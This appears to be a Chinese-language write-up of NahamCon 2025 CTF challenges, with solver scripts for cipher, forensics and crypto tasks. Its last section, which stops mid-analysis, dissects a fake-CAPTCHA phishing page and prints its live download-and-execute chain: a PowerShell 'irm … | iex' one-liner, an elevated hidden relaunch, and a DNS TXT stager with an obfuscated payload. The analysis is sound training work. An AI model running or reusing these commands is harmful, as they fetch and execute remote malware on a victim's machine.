Warmups
Naham-Commencement 2025
Challenge
Author: @HuskyHacks
Welcome, Naham-Hacker Class of 2025! This challenge is your official CTF opening ceremony. Enjoy the CTF, play fair, play smart, and get those flags! BEGIN! 📯
(True story: NahamSec originally contracted me to built the actual NahamCon site. I showed this to him as a prototype and he said “you know, let’s actually move you to the CTF dev team…”)
NOTE, we have noticed an odd gimmick with this challenge — if you seem to repeatedly see a message
An error occurred while processing your request., try changing how you connect to the Internet in case any provider oddities are getting in the way.
Solution
前端校验账号密码,所以检查js
function a(t) { let r = ''; for (let i = 0; i < t.length; i++) { const c = t[i]; if (/[a-zA-Z]/.test(c)) { const d = c.charCodeAt(0); const o = (d >= 97) ? 97 : 65; const x = (d - o + 16) % 26 + o; r += String.fromCharCode(x); } else { r += c; } } return r;} function b(t, k) { let r = ''; let j = 0; for (let i = 0; i < t.length; i++) { const c = t[i]; if (/[a-zA-Z]/.test(c)) { const u = c === c.toUpperCase(); const l = c.toLowerCase(); const d = l.charCodeAt(0) - 97; const m = k[j % k.length].toLowerCase(); const n = m.charCodeAt(0) - 97; const e = (d + n) % 26; let f = String.fromCharCode(e + 97); if (u) { f = f.toUpperCase(); } r += f; j++; } else { r += c; } } return r;} function c(s) { return btoa(s);} document.addEventListener('DOMContentLoaded', function () { const x1 = "dqxqcius"; const x2 = "YeaTtgUnzezBqiwa2025"; const x3 = "ZHF4cWNpdXM="; const k = "nahamcon"; const f = document.getElementById('loginForm'); const u = document.getElementById('username'); const p = document.getElementById('password'); const s = document.getElementById('spinner'); const d = document.getElementById('result'); f.addEventListener('submit', function (e) { e.preventDefault(); const q = u.value; const w = p.value; const q1 = a(q); const w1 = b(w, k); if (q1 !== x1 || w1 !== x2) { d.textContent = "Access denied. Client-side validation failed. Try again."; d.className = "error"; d.style.display = "block"; return; } s.style.display = "block"; d.style.display = "none"; const g = new FormData(); g.append('username', q); g.append('password', w); fetch('/login', { method: 'POST', body: g }) .then(h => h.json()) .then(z => { s.style.display = "none"; d.style.display = "block"; if (z.success) { console.log("🎉 Server authentication successful!"); d.innerHTML = ` <p>${z.message}</p> <p class="flag">🙌🎉${z.flag}🎉🙌</p> `; d.className = "success"; } else { console.log("❌ Server authentication failed"); d.textContent = z.message; d.className = "error"; } }) .catch(err => { console.error("🚨 Network error:", err); s.style.display = "none"; d.style.display = "block"; d.textContent = "An error occurred while processing your request."; d.className = "error"; }); }); });观察代码发现username和password分别是凯撒加密和维吉尼亚加密,用厨子解一下就行



flag{c419dfe3a0a621edc0150a133bb7a34c}Screenshot
Challenge
Author: @John Hammond
Oh shoot! I accidentally took a screenshot just as I accidentally opened the dump of a
flag.zipfile in a text editor! Whoopsies, what a crazy accidental accident that just accidented!Well anyway, I think I remember the password was just
password!

Solution
用Python输出为.zip压缩包
data = '''504b 0304 3300 0100 6300 2f02 b55a 00000000 4300 0000 2700 0000 0800 0b00 666c6167 2e74 7874 0199 0700 0200 4145 0300003d 42ff d1b3 5f95 0314 24f6 8b65 c3f57669 f14e 8df0 003f e240 b3ac 3364 859e4c2d bc3c 36f2 d4ac c403 7613 85af e4e3f90f bd29 d91b 614b a2c6 efde 11b7 1bcc907a 72ed 504b 0102 3f03 3300 0100 63002f02 b55a 0000 0000 4300 0000 2700 00000800 2f00 0000 0000 0000 2080 b481 00000000 666c 6167 2e74 7874 0a00 2000 00000000 0100 1800 8213 8543 07ca db01 00000000 0000 0000 0000 0000 0000 0000 01990700 0200 4145 0300 0050 4b05 0600 00000001 0001 0065 0000 0074 0000 00''' binary_data = bytearray() for line in data.splitlines(): hex_str = line.replace(' ', '') for i in range(0, len(hex_str), 2): byte_str = hex_str[i:i+2] binary_data.append(int(byte_str, 16)) with open("flag.zip", "wb") as f: f.write(binary_data)根据题目描述可知解压密码是password,解压得到flag
flag{907e5bb257cd5fc818e88a13622f3d46}The Oddyssey
Challenge
Author: @HuskyHacks
Remember reading The Odyssey in high school? Well I sure don’t, because I never did my homework. But I really wanted to get back into the classics and give it a fair shake. The problem is I have a fourth grade reading level and that book is waaaaaay too long.
To solve this, I made a server that reads out tiny chunks of The Odyssey, one at a time, so I can take my time reading it! How is Odysseus gonna get himself out of this one?
Solution
自动翻页,正则匹配flag并输出
from pwn import *import reimport time r = remote("challenge.nahamcon.com", 32225) while True: data = r.recv(timeout=1).decode('utf-8', errors='ignore') print(data) flag_match = re.search(r'flag\{.*?\}', data) if flag_match: print(flag_match.group(0)) break if "Press enter to continue..." in data: r.send(b"\n") time.sleep(0.1)
flag{0b51aae6b09b85d1bb13b0b8c3003a6a}Free Flags!
Challenge
Author: @John Hammond
WOW!! Look at all these free flags!!
But… wait a second… only one of them is right??
NOTE, bruteforcing flag submissions is still not permitted. I will put a “max attempts” limit on this challenge at 1:00 PM Pacific to stop participants from automating submissions. There is only one correct flag, you can find a needle in a haystack if you really know what you are looking for.
Solution
从规则找到如下内容:
Flag FormatFlags for this competition will follow the format: flag\{[0-9a-f]{32}\}. That means a flag{} wrapper with a 32-character lowercase hex string inside—basically something that looks like an MD5 hash. And yes, there may or may not be one right here on this page...正则匹配
import re file_path = r"E:\Downloads\free_flags.txt"pattern = r'flag\{[0-9a-f]{32}\}' matches = [] with open(file_path, 'r', encoding='utf-8') as file: for line in file: found = re.findall(pattern, line) matches.extend(found) for match in matches: print(match)flag{ae6b6fb0686ec594652afe9eb6088167}Miscellaneous
The Martian
Challenge
Author: @John Hammond
Wow, this file looks like it’s from outta this world!
Solution
用binwalk提取出多个.bz2的压缩包文件,解压34.bz2得到34,给它加上.jpg后缀得到含有flag的图像

flag{0db031ac265b3e6538aff0d9f456004f}Flagdle
Challenge
Author: @HuskyHacks
Wordle? I sleep. Too easy.
32 character Wordle? Now we’re cooking with gas!
Solution
爆破
import requestsimport time def solve_flag_guesser(): url = "http://challenge.nahamcon.com:31230/guess" charset = "abcdef0123456789" flag_content_length = 32 known_flag_chars = ['_'] * flag_content_length print(f"[*] Starting flag brute-force against: {url}") print(f"[*] Character set: '{charset}'") print(f"[*] Expected flag content length: {flag_content_length}") print("-" * 40) for char_to_test in charset: guess_content = char_to_test * flag_content_length full_guess_payload = f"flag{{{guess_content}}}" print(f"\n[+] Testing with character: '{char_to_test}'") print(f" Sending guess: {full_guess_payload}") response = requests.post(url, json={"guess": full_guess_payload}, timeout=15) data = response.json() feedback_squares = data['result'] print(f" Received feedback: {feedback_squares}") for i in range(min(len(feedback_squares), flag_content_length)): if feedback_squares[i] == '🟩': if known_flag_chars[i] == '_': known_flag_chars[i] = char_to_test print(f" [*] Found: Position {i} is '{char_to_test}'") elif known_flag_chars[i] != char_to_test: print(f" [!] Warning: Position {i} was already determined as '{known_flag_chars[i]}', " f"but feedback for '{char_to_test}' also shows green. " f"Keeping the first found character: '{known_flag_chars[i]}'.") current_progress = "".join(known_flag_chars) print(f" Current flag status: flag{{{current_progress}}}") time.sleep(0.1) print("-" * 40) print("\n[*] Brute-force complete.") final_flag_content = "".join(known_flag_chars) final_flag = f"flag{{{final_flag_content}}}" if '_' in final_flag_content: unknown_indices = [i for i, char_val in enumerate(known_flag_chars) if char_val == '_'] print(f"[!] Warning: Some characters in the flag could not be determined.") print(f" Unknown positions (0-indexed): {unknown_indices}") print(f"\n🏁 Reconstructed Flag: {final_flag}") return final_flag if __name__ == '__main__': retrieved_flag = solve_flag_guesser()输出:
[*] Starting flag brute-force against: http://challenge.nahamcon.com:31230/guess[*] Character set: 'abcdef0123456789'[*] Expected flag content length: 32----------------------------------------[+] Testing with character: 'a' Sending guess: flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa} Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛ [*] Found: Position 8 is 'a' [*] Found: Position 17 is 'a' Current flag status: flag{________a________a______________}[+] Testing with character: 'b' Sending guess: flag{bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb} Received feedback: 🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛ [*] Found: Position 0 is 'b' [*] Found: Position 12 is 'b' [*] Found: Position 16 is 'b' [*] Found: Position 23 is 'b' Current flag status: flag{b_______a___b___ba_____b________}[+] Testing with character: 'c' Sending guess: flag{cccccccccccccccccccccccccccccccc} Received feedback: ⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛ [*] Found: Position 2 is 'c' [*] Found: Position 14 is 'c' [*] Found: Position 30 is 'c' Current flag status: flag{b_c_____a___b_c_ba_____b______c_}[+] Testing with character: 'd' Sending guess: flag{dddddddddddddddddddddddddddddddd} Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛ [*] Found: Position 20 is 'd' [*] Found: Position 26 is 'd' Current flag status: flag{b_c_____a___b_c_ba__d__b__d___c_}[+] Testing with character: 'e' Sending guess: flag{eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee} Received feedback: ⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛🟩⬛⬛⬛⬛⬛⬛ [*] Found: Position 1 is 'e' [*] Found: Position 22 is 'e' [*] Found: Position 25 is 'e' Current flag status: flag{bec_____a___b_c_ba__d_eb_ed___c_}[+] Testing with character: 'f' Sending guess: flag{ffffffffffffffffffffffffffffffff} Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛ Current flag status: flag{bec_____a___b_c_ba__d_eb_ed___c_}[+] Testing with character: '0' Sending guess: flag{00000000000000000000000000000000} Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛ [*] Found: Position 19 is '0' [*] Found: Position 21 is '0' Current flag status: flag{bec_____a___b_c_ba_0d0eb_ed___c_}[+] Testing with character: '1' Sending guess: flag{11111111111111111111111111111111} Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛ [*] Found: Position 10 is '1' Current flag status: flag{bec_____a_1_b_c_ba_0d0eb_ed___c_}[+] Testing with character: '2' Sending guess: flag{22222222222222222222222222222222} Received feedback: ⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛ [*] Found: Position 4 is '2' [*] Found: Position 27 is '2' Current flag status: flag{bec_2___a_1_b_c_ba_0d0eb_ed2__c_}[+] Testing with character: '3' Sending guess: flag{33333333333333333333333333333333} Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛ Current flag status: flag{bec_2___a_1_b_c_ba_0d0eb_ed2__c_}[+] Testing with character: '4' Sending guess: flag{44444444444444444444444444444444} Received feedback: ⬛⬛⬛🟩⬛🟩⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛ [*] Found: Position 3 is '4' [*] Found: Position 5 is '4' [*] Found: Position 11 is '4' Current flag status: flag{bec424__a_14b_c_ba_0d0eb_ed2__c_}[+] Testing with character: '5' Sending guess: flag{55555555555555555555555555555555} Received feedback: ⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛🟩 [*] Found: Position 7 is '5' [*] Found: Position 28 is '5' [*] Found: Position 31 is '5' Current flag status: flag{bec424_5a_14b_c_ba_0d0eb_ed25_c5}[+] Testing with character: '6' Sending guess: flag{66666666666666666666666666666666} Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛ [*] Found: Position 9 is '6' Current flag status: flag{bec424_5a614b_c_ba_0d0eb_ed25_c5}[+] Testing with character: '7' Sending guess: flag{77777777777777777777777777777777} Received feedback: ⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛ [*] Found: Position 6 is '7' [*] Found: Position 24 is '7' Current flag status: flag{bec42475a614b_c_ba_0d0eb7ed25_c5}[+] Testing with character: '8' Sending guess: flag{88888888888888888888888888888888} Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛ [*] Found: Position 18 is '8' [*] Found: Position 29 is '8' Current flag status: flag{bec42475a614b_c_ba80d0eb7ed258c5}[+] Testing with character: '9' Sending guess: flag{99999999999999999999999999999999} Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛ [*] Found: Position 13 is '9' [*] Found: Position 15 is '9' Current flag status: flag{bec42475a614b9c9ba80d0eb7ed258c5}----------------------------------------[*] Brute-force complete.🏁 Reconstructed Flag: flag{bec42475a614b9c9ba80d0eb7ed258c5}flag{bec42475a614b9c9ba80d0eb7ed258c5}Cryptography
Cryptoclock
Challenge
Author: @JohnHammond
Just imagine it, the Cryptoclock!! Just like you’ve seen in the movies, a magical power to be able to manipulate the world’s numbers across time!!
#!/usr/bin/env python3import socketimport threadingimport timeimport randomimport osfrom typing import Optional def encrypt(data: bytes, key: bytes) -> bytes: """Encrypt data using XOR with the given key.""" return bytes(a ^ b for a, b in zip(data, key)) def generate_key(length: int, seed: Optional[float] = None) -> bytes: """Generate a random key of given length using the provided seed.""" if seed is not None: random.seed(int(seed)) return bytes(random.randint(0, 255) for _ in range(length)) def handle_client(client_socket: socket.socket): """Handle individual client connections.""" try: with open('flag.txt', 'rb') as f: flag = f.read().strip() current_time = int(time.time()) key = generate_key(len(flag), current_time) encrypted_flag = encrypt(flag, key) welcome_msg = b"Welcome to Cryptoclock!\n" welcome_msg += b"The encrypted flag is: " + encrypted_flag.hex().encode() + b"\n" welcome_msg += b"Enter text to encrypt (or 'quit' to exit):\n" client_socket.send(welcome_msg) while True: data = client_socket.recv(1024).strip() if not data: break if data.lower() == b'quit': break key = generate_key(len(data), current_time) encrypted_data = encrypt(data, key) response = b"Encrypted: " + encrypted_data.hex().encode() + b"\n" client_socket.send(response) except Exception as e: print(f"Error handling client: {e}") finally: client_socket.close() def main(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', 1337)) server.listen(5) print("Server started on port 1337...") try: while True: client_socket, addr = server.accept() print(f"Accepted connection from {addr}") client_thread = threading.Thread(target=handle_client, args=(client_socket,)) client_thread.start() except KeyboardInterrupt: print("\nShutting down server...") finally: server.close() if __name__ == "__main__": main() Solution
from pwn import * def encrypt(data: bytes, key: bytes) -> bytes: return bytes(a ^ b for a, b in zip(data, key)) def solve(): HOST = "challenge.nahamcon.com" PORT = 31721 context.log_level = 'info' conn = remote(HOST, PORT) conn.recvuntil(b"The encrypted flag is: ") encrypted_flag_hex = conn.recvline().strip() log.info(f"Received encrypted flag (hex): {encrypted_flag_hex.decode()}") conn.recvuntil(b"Enter text to encrypt (or 'quit' to exit):\n") encrypted_flag_bytes = bytes.fromhex(encrypted_flag_hex.decode()) flag_length = len(encrypted_flag_bytes) log.info(f"Determined flag length: {flag_length}") known_plaintext = b"A" * flag_length log.info(f"Constructed known plaintext (e.g., 'AAA...'): {known_plaintext[:10]}... ({flag_length} bytes)") conn.sendline(known_plaintext) log.info("Sent known plaintext to the server.") conn.recvuntil(b"Encrypted: ") encrypted_known_plaintext_hex = conn.recvline().strip() log.info(f"Received encrypted known plaintext (hex): {encrypted_known_plaintext_hex.decode()}") encrypted_known_plaintext_bytes = bytes.fromhex(encrypted_known_plaintext_hex.decode()) temp_xor_result = encrypt(encrypted_flag_bytes, encrypted_known_plaintext_bytes) decrypted_flag = encrypt(temp_xor_result, known_plaintext) log.success(f"Decrypted flag: {decrypted_flag.decode()}") conn.close() log.info("Connection closed.") if __name__ == "__main__": solve()[x] Opening connection to challenge.nahamcon.com on port 31721[x] Opening connection to challenge.nahamcon.com on port 31721: Trying 198.18.0.19[+] Opening connection to challenge.nahamcon.com on port 31721: Done[*] Received encrypted flag (hex): 29a10dac84eea434f2c642ecd8abd694e309b0fcc04bf54fc9a9cae7479cbb45a58b2303601f[*] Determined flag length: 38[*] Constructed known plaintext (e.g., 'AAA...'): b'AAAAAAAAAA'... (38 bytes)[*] Sent known plaintext to the server.[*] Received encrypted known plaintext (hex): 0e8c2d8abe9f804181e5629ca1daa7ed9b2b948be439d66cbdd8ee9334e8c23380f955701523[+] Decrypted flag: flag{0e42ba180089ce6e3bb50e52587d3724}[*] Closed connection to challenge.nahamcon.com port 31721[*] Connection closed.flag{0e42ba180089ce6e3bb50e52587d3724}Forensics
Puzzle Pieces
Challenge
Author: Nordgaren
Well, I accidentally put the important data into a bunch of executables.
It was fine, until my cat stepped on my keyboard and renamed them all!
Can you help me recover the important data?
Solution
逐个用010editor打开,在zjav5i20Uqdp.exe搜索到关键词flag
先按修改时间把程序从早到晚排序
逐个用IDA打开,按Alt+T搜索off_1400193A8,将后面的字符串记下,得到如下结果
zjav5i20Uqdp.exe -> flag\n
RSL30YP.exe -> {512\n
lWmDFh.exe -> faff\n
GM1z8JCY.exe -> 5e7d\n
tETZLNWBfNDS.exe -> 89c9\n
G6tE1a.exe -> b8bd\n
2w7JdChEy.exe -> 4b95\n
VUlyMSY2V5R57.exe -> 17af\n
NUcrnJqvd4bYdL.exe -> 9bfa\n
bh9CdGYivv.exe -> a}
连起来得到flag
flag{512faff5e7d89c9b8bd4b9517af9bfaa}Malware
Verification Clarification
Challenge
Author: @resume
One of our users received an email asking them to provide extra verification to download a zip file, but they weren’t expecting to receive any files.
Can you look into the verification link to see if it’s…phishy?
NOTE, if you visit this link below and it does not respond, try to make a connection in a different way. The challenge is functional and you *should* get a response.
WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation there is a real possibility that your VM may crash.
Solution

钓鱼网站,点击验证码后会给出下面的提示

此时剪贴板会被写入
powershell -NoP -Ep Bypass -c irm captcha.zip/verify | iex # ✅ ''I am not a robot - reCAPTCHA Verification ID: 3511''让我们逐个参数进行分析。
powershell :启动 PowerShell 解释器。
- NoP:即 - NoProfile ,表示 不加载用户配置文件(profile) ,避免执行启动脚本。
- Ep Bypass: - ExecutionPolicy Bypass ,设置执行策略为 Bypass, 不阻止任何脚本运行 。默认情况下,PowerShell 会阻止运行未签名的脚本,使用 Bypass 可以绕过这种限制。
-c:即-Command,后面跟着的是要执行的 PowerShell 命令字符串,在此处就是 "irm captcha.zip/verify | iex"。
irm captcha.zip/verify:
-
irm:Invoke-RestMethod的别名,从 URLcaptcha.zip/verify获取内容 -
管道符
|把上一步的结果传递给下一个命令 -
iex:Invoke-Expression的别名,把接收到的内容当作 PowerShell 命令来执行
# ✅ ''I am not a robot - reCAPTCHA Verification ID: 3511'':这是注释,并不会被执行,用于混淆视听的。
总结:这条命令的作用是启动一个无配置、允许执行任意脚本的 PowerShell 子进程,从
captcha.zip/verify下载内容并直接执行。
因此下一步要做的是从 captcha.zip/verify 下载内容进行分析。
运行下面的指令将恶意脚本下载到桌面而不运行。
powershell -NoP -Ep Bypass -c "irm captcha.zip/verify | Out-File ([Environment]::GetFolderPath('Desktop') + '\malicious_script.ps1')"得到的malicious_script.ps1内容如下:
$d='aWV4IChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygoUmVzb2x2ZS1EbnNOYW1lIC1OYW1lIDVnbWx3LnB5cmNoZGF0YS5jb20gLVR5cGUgVFhUKS5TdHJpbmdzIC1qb2luICcnKSkp'$dn=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))(New-Object -ComObject Shell.Application).ShellExecute("powershell", "-NoP -Ep Bypass -c $dn", "", "runas", 0)$d存储的是一段被base64编码后的字符串。
$dn存储的是$d解码后的结果,解码过程见CyberChef,解码结果如下:
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Name 5gmlw.pyrchdata.com -Type TXT).Strings -join '')))(New-Object -ComObject Shell.Application).ShellExecute("powershell", "-NoP -Ep Bypass -c $dn", "", "runas", 0)创建了一个 COM 对象 Shell.Application,使用.ShellExecute() 方法运行一个新的 PowerShell 进程:
"powershell":调用 PowerShell"-NoP -Ep Bypass -c $dn":参数中-c表示执行$dn中的内容"runas":以管理员权限运行0:隐藏窗口
接下来分析 $dn 中的内容。
iex (...): Invoke-Expression ,把接收到的内容当作 PowerShell 命令来执行。
[Text.Encoding]::UTF8.GetString(...):将字节数组转换为 UTF8 格式的字符串。
[Convert]::FromBase64String(...):将拼接后的 Base64 字符串转换为字节数组(byte array)。
Resolve-DnsName -Name 5gmlw.pyrchdata.com -Type TXT:使用 Resolve-DnsName 查询域名 5gmlw.pyrchdata.com 的 TXT 类型 DNS 记录 。
.Strings -join '':将所有返回的 TXT 字符串拼接成一个完整的 Base64 编码字符串。
总结:从 DNS 的 TXT 记录中获取一段 Base64 编码的内容,解码后直接执行。
因此下一步要做的是分析5gmlw.pyrchdata.com的TXT记录。
使用在线工具TXT记录查询进行查询,得到如下结果:

KG5Fdy1vQmpFQ1QgIHNZc1RFbS5pby5jT21QUkVzU0lPTi5ERUZMQVRlc1RyRUFNKCBbSU8ubUVNT3JZc3RSZUFNXSBbU3lTdEVNLmNPbnZlcnRdOjpGck9tYmFTRTY0c3RyaU5HKCAnVFZScmM5bzZFUDBybW43Qm5tSVhrcEJKNHVFRDVkR1FHeDVqQ0tUTzVJTWZBcFRhbGtlV3VTUzkvZTkzand5a3pHaDNMYTJPemg2dFlOYUw0dHZoNGZYdUx1dnAvbTY0c05nWDI3NitmUFY3OS8yWHB0MXB0ZXZ3YSt2MkdMUlBVeFpqdzM3dnNSajZEbU5YcHkwTi8zclJPTS9mbnBFdTJpZWtxNXRqY0hPRXRJWnhMeTI0SHp2TWJ0aU5ydzNiSnBCdWQ5dW51S0F4ZmljVDAvaFlYZnpjUDl3L2lWNy9rVDVGaTh6OUpCME5acjhlM2dMNjZQd2FCS2xQd1RLNEl0dWpRV3ZCZXBJR0g1TnM5emJaMGN6MzViUVZmMHd1S1N3dnNXdDN5TWdHQWp0cTRIajlzd3l5c1h6NkVZblJPbndmMFdTMmFuWElyUVBkdVlqZTB5eXBWc01rbmFhejY5YUk0blZVM1daeEVlVFJxTE9JVXY4U2hEdFRNdTAxbFdOdGMrQXJ2Ymk2NW1YNFBaUDRBdTdkM2F0V2ZKOVRLUHN2WkpGS2VSUnAvc085SVQ5YWtubWlSRnBKWkp3UFhYM2dxTktrc3dNWG5tMXBBT3dXbEVYQjg0dUg4MFdBTkZZcXJqbHFERlZJZHE1NENqSkZKdnNPMWlzRlhaWmxpWlM1dzdDbXd0Mml6L2cyckxhZ0ZqNDZyUHhFekVGZmFHR0sydkFCeHozaG1wWU9xK09sazVCTGV0MFFLWkNaZTNTdjVCZHBpaFVhYnNaMStiNkFQSFV5NW5BS3poRElpc0NhRzJLOUJMTnh6aFhmY04rTkRTejNDbWdUOFUxWTV0VTNuTHlNdW1VdWhVWThVOWllQ2xUcVlyZW9pZFNDa0JwR0NtU2ErK2k3NnBTTWMrVUF5UW0rREUvb29tUCtGczJjZjQ4a3AxMkNKQkxtM0Q5L1BGc3hYVW5XUkoyc2FlNllCNjdDM2N3MWRCeXpKdG5XeVY2UXcyalJEdzRjRHkwTCt5UzRxMkVDaDF1NzU2V0E5L1hVd3lNQlpuMFlMMU1zYkNpcWxHYk4yN1lGYmx1cVpTL1VISWtRc0hwTGVxbjJQYUtZaThyVERBSkxHZjArOXc0UUV5SDM4RURZNEdqU2xSbXhkYWhMaXRLb0t1Z21BUUpRb29ETnJMa3lmTWdRT0d2T21kSlVNWlg3Wk9acEVwNUdjMnAwTkZuRDA1cjFXVzVJaGVMNlF5clVyTEhjeUFqb0EvK0x5dkZQd1JCNnRmSHFqOTJWdURSMGpyYlNTcHBHSDZQV2RJRDM0dGt6bG1KV1JtY0ZselFqSStJRGozNUNBWFV0ZUdGOFc3Y1JoSUdnSldxQm1xRGluMnBnK1lra1ptSngwZ3Q0aHFHaEJ4Nm0vOTF6WktqaUhHSmJvUEhHYVUzMTl6TXJ5ekNOQVhic2drOUlpSSsrODBvZWk3M2lRQ2drVVRCdDV2Sk02THp5ajYwTFJ2VG5VVmJlc1pYTm82YnZBczhGajlxeUxQYk14K3dMdGFaTHZkdFE0KzM5VXN2SDRVZzNtTzA4U0RGdFVNRCtZK1BwU3Y3REhmNWNLRjR1eG5MNlB3PT0nKSAsIFtJTy5jT21QUmVTU0lvTi5jb01wckVTc2lvbm1vZEVdOjpEZWNvbVBSRXNzKSB8IGZvUkVhQ0ggeyBuRXctb0JqRUNUICBpTy5zVFJFYW1SRUFkZXIoJF8gLCBbdEV4VC5FTkNPZGlOR106OkFzY0lpICkgfXxmb3JlYUNoIHskXy5yRWFkdE9FbmQoICkgfSkgfCYoICRTSGVsTGlEWzFdKyRTSEVMTElEWzEzXSsnWCcp解码过程见CyberChef,结果如下:
(nEw-oBjECT sYsTEm.io.cOmPREsSION.DEFLATesTrEAM( [IO.mEMOrYstReAM] [SyStEM.cOnvert]::FrOmbaSE64striNG( 'TVRrc9o6EP0rmn7BnmIXkpBJ4uED5dGQGx5jCKTO5IMfApTalkeWuSS9/e93jwykzGh3La2Ozh6tYNaL4tvh4fXuLuvp/m64sNgX276+fPV79/2Xpt1ptevwa+v2GLRPUxZjw37vsRj6DmNXpy0N/3rROM/fnpEu2iekq5tjcHOEtIZxLy24HzvMbtiNrw3bJpBud9unuKAxficT0/hYXfzcP9w/iV7/kT5Fi8z9JB0NZr8e3gL66PwaBKlPwTK4ItujQWvBepIGH5Ns9zbZ0cz35bQVf0wuKSwvsWt3yMgGAjtq4Hj9swyysXz6EYnROnwf0WS2anXIrQPduYje0yypVsMknaaz69aI4nVU3WZxEeTRqLOIUv8ShDtTMu01lWNtc+Arvbi65mX4PZP4Au7d3atWfJ9TKPsvZJFKeRRp/sO9IT9aknmiRFpJZJwPXX3gqNKkswMXnm1pAOwWlEXB84uH80WANFYqrjlqDFVIdq54CjJFJvsO1isFXZZliZS5w7Cmwt2iz/g2rLagFj46rPxEzEFfaGGK2vABxz3hmpYOq+Olk5BLet0QKZCZe3Sv5BdpihUabsZ1+b6APHUy5nAKzhDIisCaG2K9BLNxzhXfcN+NDSz3CmgT8U1Y5tU3nLyMumUuhUY8U9ieClTqYreoidSCkBpGCmSa++i76pSMc+UAyQm+DE/oomP+Fs2cf48kp12CJBLm3D9/PFsxXUnWRJ2sae6YB67C3cw1dByzJtnWyV6Qw2jRDw4cDy0L+yS4q2ECh1u756WA9/XUwyMBZn0YL1MsbCiqlGbN27YFbluqZS/UHIkQsHpLeqn2PaKYi8rTDAJLGf0+9w4QEyH38EDY4GjSlRmxdahLitKoKugmAQJQooDNrLkyfMgQOGvOmdJUMZX7ZOZpEp5Gc2p0NFnD05r1WW5IheL6QyrUrLHcyAjoA/+LyvFPwRB6tfHqj92VuDR0jrbSSppGH6PWdID34tkzlmJWRmcFlzQjI+IDj35CAXUteGF8W7cRhIGgJWqBmqDin2pg+YkkZmJx0gt4hqGhBx6m/91zZKjiHGJboPHGaU319zMryzCNAXbsgk9IiI++80oei73iQCgkUTBt5vJM6Lzyj60LRvTnUVbesZXNo6bvAs8Fj9qyLPbMx+wLtaZLvdtQ4+39UsvH4Ug3mO08SDFtUMD+Y+PpSv7DHf5cKF4uxnL6Pw==') , [IO.cOmPReSSIoN.coMprESsionmodE]::DecomPREss) | foREaCH { nEw-oBjECT iO.sTREamREAder($_ , [tExT.ENCOdiNG]::AscIi ) }|foreaCh {$_.rEadtOEnd( ) }) |&( $SHelLiD[1]+$SHELLID[13]+'X')这个脚本还经过了大小写混淆,下面是各部分的分析:
[Convert]::FromBase64String(...):将内部的内容转换为字节数组,然后包装成 MemoryStream 对象用于后续解压。
[System.IO.Compression.DeflateStream]($memoryStream, System.IO.Compression.CompressionMode]::Decompress):使用 .NET 的 DeflateStream 类对数据进行解压。
ForEach { New-Object IO.StreamReader($_, [Text.Encoding]::ASCII) } | ForEach { $_.ReadToEnd() }:创建 StreamReader 来读取解压后的数据流,使用 ASCII 编码将其转换为文本,最终输出一个完整的 PowerShell 脚本。
| &($ShellID[1]+$ShellID[13]+'X'):
